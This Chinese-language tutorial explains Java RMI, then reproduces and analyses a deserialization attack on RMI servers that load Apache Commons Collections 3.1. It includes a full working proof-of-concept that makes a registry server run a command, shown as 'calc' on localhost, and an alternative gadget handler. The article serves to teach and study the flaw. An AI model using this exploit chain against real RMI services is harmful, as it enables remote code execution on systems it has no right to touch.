原創(chuàng):Xman21合天智匯
原創(chuàng)投稿活動(dòng):
http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
一、RMI簡(jiǎn)介
首先看一下RMI在wikipedia上的描述:
JAVA遠(yuǎn)程方法調(diào)用,即Java RMI(Java Remote Method Invocation)是Java編程語言里,一種用于實(shí)現(xiàn)遠(yuǎn)程過程調(diào)用的應(yīng)用程序編程接口。它使客戶機(jī)上運(yùn)行的程序可以調(diào)用遠(yuǎn)程服務(wù)器上的對(duì)象。遠(yuǎn)程方法調(diào)用特性使Java編程人員能夠在網(wǎng)絡(luò)環(huán)境中分布操作。RMI全部的宗旨就是盡可能簡(jiǎn)化遠(yuǎn)程接口對(duì)象的使用。 Java RMI極大地依賴于接口。在需要?jiǎng)?chuàng)建一個(gè)遠(yuǎn)程對(duì)象的時(shí)候,程序員通過傳遞一個(gè)接口來隱藏底層的實(shí)現(xiàn)細(xì)節(jié)。客戶端得到的遠(yuǎn)程對(duì)象句柄正好與本地的根代碼連接,由后者負(fù)責(zé)透過網(wǎng)絡(luò)通信。這樣一來,程序員只需關(guān)心如何通過自己的接口句柄發(fā)送消息。
換句話說,使用RMI是為了不同JVM虛擬機(jī)的Java對(duì)象能夠更好地相互調(diào)用,就像調(diào)用本地的對(duì)象一樣。RMI為了隱藏網(wǎng)絡(luò)通信過程中的細(xì)節(jié),使用了代理方法。如下圖所示,在客戶端和服務(wù)器各有一個(gè)代理,客戶端的代理叫Stub,服務(wù)端的代理叫Skeleton。代理都是由服務(wù)端產(chǎn)生的,客戶端的代理是在服務(wù)端產(chǎn)生后動(dòng)態(tài)加載過去的。當(dāng)客戶端通信是只需要調(diào)用本地代理傳入所調(diào)用的遠(yuǎn)程對(duì)象和參數(shù)即可,本地代理會(huì)對(duì)其進(jìn)行編碼,服務(wù)端代理會(huì)解碼數(shù)據(jù),在本地運(yùn)行,然后將結(jié)果返回。在RMI協(xié)議中,對(duì)象是使用序列化機(jī)制進(jìn)行編碼的。

?
我們可以將客戶端存根編碼的數(shù)據(jù)包含以下幾個(gè)部分:
- 被使用的遠(yuǎn)程對(duì)象的標(biāo)識(shí)符
- 被調(diào)用的方法的描述
- 編組后的參數(shù)
當(dāng)請(qǐng)求數(shù)據(jù)到達(dá)服務(wù)端后會(huì)執(zhí)行如下操作:
- 定位要調(diào)用的遠(yuǎn)程對(duì)象
- 調(diào)用所需的方法,并傳遞客戶端提供的參數(shù)
- 捕獲返回值或調(diào)用產(chǎn)生的異常。
- 將返回值編組,打包送回給客戶端存根
客戶端存根對(duì)來自服務(wù)器端的返回值或異常進(jìn)行反編組,其結(jié)果就成為了調(diào)用存根返回值。

?
二、RMI示例
接下來我們編寫一個(gè)RMI通信的示例,使用IDEA新建一個(gè)Java項(xiàng)目,代碼結(jié)構(gòu)如下:

?
Client.java
- package client;
- import service.Hello;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- import java.util.Scanner;
- public class Client {
- public static void main(String[] args) throws Exception{
- // 獲取遠(yuǎn)程主機(jī)上的注冊(cè)表
- Registry registry=LocateRegistry.getRegistry("localhost",1099);
- String name="hello";
- // 獲取遠(yuǎn)程對(duì)象
- Hello hello=(Hello)registry.lookup(name);
- while(true){
- Scanner sc = new Scanner( System.in );
- String message = sc.next();
- // 調(diào)用遠(yuǎn)程方法
- hello.echo(message);
- if(message.equals("quit")){
- break;
- }
- }
- }
- }
Server.java
- package server;
- import service.Hello;
- import service.impl.HelloImpl;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- import java.rmi.server.UnicastRemoteObject;
- public class Server {
- public static void main(String[] args) throws Exception{
- String name="hello";
- Hello hello=new HelloImpl();
- // 生成Stub
- UnicastRemoteObject.exportObject(hello,1099);
- // 創(chuàng)建本機(jī) 1099 端口上的RMI registry
- Registry registry=LocateRegistry.createRegistry(1099);
- // 對(duì)象綁定到注冊(cè)表中
- registry.rebind(name, hello);
- }
- }
Hello.java
- package service;
- import java.rmi.Remote;
- import java.rmi.RemoteException;
- public interface Hello extends Remote {
- public String echo(String message) throws RemoteException;
- }
HelloImpl
- package service.impl;
- import service.Hello;
- import java.rmi.RemoteException;
- public class HelloImpl implements Hello {
- @Override
- public String echo(String message) throws RemoteException {
- if("quit".equalsIgnoreCase(message.toString())){
- System.out.println("Server will be shutdown!");
- System.exit(0);
- }
- System.out.println("Message from client: "+message);
- return "Server response:"+message;
- }
- }
先運(yùn)行Server,然后運(yùn)行Client,然后即可進(jìn)行Server與Client的通信

?

?
三、漏洞復(fù)現(xiàn)
RMI反序列化漏洞的存在必須包含兩個(gè)條件:
- 能夠進(jìn)行RMI通信
- 目標(biāo)服務(wù)器引用了第三方存在反序列化漏洞的jar包
注:復(fù)現(xiàn)的時(shí)候需要JDK8 121以下版本,121及以后加了白名單限制,
這里我們以Apache Commons Collections反序列化漏洞為例,使用的版本為commons-collections.jar 3.1,新建一個(gè)漏洞利用的類RMIexploit
- package client;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import javax.management.BadAttributeValueExpException;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Field;
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Proxy;
- import java.rmi.Remote;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- import java.util.HashMap;
- import java.util.Map;
- public class RMIexploit {
- public static void main(String[] args) throws Exception {
- // 遠(yuǎn)程RMI Server的地址
- String ip = "127.0.0.1";
- int port = 1099;
- // 要執(zhí)行的命令
- String command = "calc";
- final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
- // real chain for after setup
- final Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",
- new Class[] {String.class, Class[].class },
- new Object[] {"getRuntime", new Class[0] }),
- new InvokerTransformer("invoke",
- new Class[] {Object.class, Object[].class },
- new Object[] {null, new Object[0] }),
- new InvokerTransformer("exec",
- new Class[] { String.class },
- new Object[] { command }),
- new ConstantTransformer(1) };
- Transformer transformerChain = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
- TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
- Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
- valfield.setAccessible(true);
- valfield.set(badAttributeValueExpException, entry);
- String name = "pwned"+ System.nanoTime();
- Map<String, Object> map = new HashMap<String, Object>();
- map.put(name, badAttributeValueExpException);
- // 獲得AnnotationInvocationHandler的構(gòu)造函數(shù)
- Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
- cl.setAccessible(true);
- // 實(shí)例化一個(gè)代理
- InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
- Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);
- Remote remote = Remote.class.cast(object);
- Registry registry=LocateRegistry.getRegistry(ip,port);
- registry.bind(name, remote);
- }
- }
然后執(zhí)行RMIexploit

?
四、漏洞分析
其實(shí)RMI反序列化的POC比Apache Commons Collections反序列化漏洞的POC只是多了RMI的通信步驟,Commons Collections組件的分析網(wǎng)上已經(jīng)有很多,這里只對(duì)本文使用的調(diào)用鏈做簡(jiǎn)要分析。

?
如上圖所示,當(dāng)序列化的數(shù)據(jù)到達(dá)RMI Server后回自動(dòng)進(jìn)行反序列化操作,首先是AnnotationInvocationHandler執(zhí)行readObject函數(shù);然后調(diào)用TiedMapEntry的toString函數(shù),再調(diào)用同文件的getValue方法;然后調(diào)用到LazyMap的get方法;后面的步驟其實(shí)一個(gè)循環(huán)調(diào)用的過程,利用ChainedTransformer中的transform方法,多次調(diào)用,直到最后的命令執(zhí)行。
- public Object transform(Object object) {
- for(int i = 0; i < this.iTransformers.length; ++i) {
- object = this.iTransformers[i].transform(object);
- }
不過這里有幾個(gè)問題需要專門解釋下。
1、為什么這里的badAttributeValueExpException對(duì)象是通過反射構(gòu)造,而不是直接聲明?
代碼中我們用以下四行反射的方式構(gòu)造badAttributeValueExpException對(duì)象
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
- Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
- valfield.setAccessible(true);
- valfield.set(badAttributeValueExpException, tiedMapEntry);
而不是直接聲明的呢
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
要知道BadAttributeValueExpException的構(gòu)造函數(shù)就是給val遍變量賦值
- public BadAttributeValueExpException (Object val) {
- this.val = val == null ? null : val.toString();
- }
但是仔細(xì)看這個(gè)構(gòu)造函數(shù),當(dāng)val不為空的時(shí)候,是將val.toString()賦值給this.val,因此這樣直接聲明的話會(huì)直接通過toString()觸發(fā)命令執(zhí)行。但是在真正反序列化的時(shí)候,由于val變成了String類型,就會(huì)造成漏洞無法觸發(fā)。
2、為什么不直接將badAttributeValueExpException對(duì)象bind到RMI服務(wù)?
執(zhí)行bind操作需要對(duì)象類型為Remote,這里BadAttributeValueExpException無法直接轉(zhuǎn)換為Remote類型,因此需要將其封裝在AnnotationInvocationHandler里面。在這個(gè)Poc中只要是繼承了InvocationHandler的動(dòng)態(tài)代理類都可以,比如我們自定義以下類
- package client;
- import javax.management.BadAttributeValueExpException;
- import java.io.Serializable;
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Method;
- public class PocHandler implements InvocationHandler, Serializable {
- private BadAttributeValueExpException ref;
- protected PocHandler(BadAttributeValueExpException newref) {
- ref = newref;
- }
- // @Override
- public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
- return method.invoke(this.ref, args);
- }
- }
Poc代碼動(dòng)態(tài)代理聲明一行改為
- Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(badAttributeValueExpException));
反序列化過程是遞歸的,封裝在InvocationHandler中badAttributeValueExpException也會(huì)執(zhí)行反序列化操作,因此也能夠觸發(fā)命令執(zhí)行。但是有些Poc的寫法就必須要用sun.reflect.annotation.AnnotationInvocationHandler這個(gè)類,因?yàn)槭抢肁nnotationInvocationHandler反序列化過程中readObject函數(shù)對(duì)map對(duì)象的set操作來實(shí)現(xiàn)命令執(zhí)行的,set操作會(huì)導(dǎo)致transform操作,使得整個(gè)調(diào)用鏈觸發(fā)。
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
- // Check to make sure that types have not evolved incompatibly
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch(IllegalArgumentException e) {
- // Class is no longer an annotation type; time to punch out
- throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
- }
- Map<String, Class<?>> memberTypes = annotationType.memberTypes();
- // If there are annotation members without values, that
- // situation is handled by the invoke method.
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
- String name = memberValue.getKey();
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
- if (!(memberType.isInstance(value) ||
- value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
- }
- }
- }
- }
我本地版本jdk的AnnotationInvocationHandler沒有set操作,因此一開始就借助BadAttributeValueExpException進(jìn)行漏洞觸發(fā)。
相關(guān)實(shí)驗(yàn):Java反序列漏洞
點(diǎn)擊:
“http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001”(PC端操作最佳喲)

?
聲明:筆者初衷用于分享與普及網(wǎng)絡(luò)知識(shí),若讀者因此作出任何危害網(wǎng)絡(luò)安全行為后果自負(fù),與合天智匯及原作者無關(guān),本文為合天原創(chuàng),如需轉(zhuǎn)載,請(qǐng)注明出處!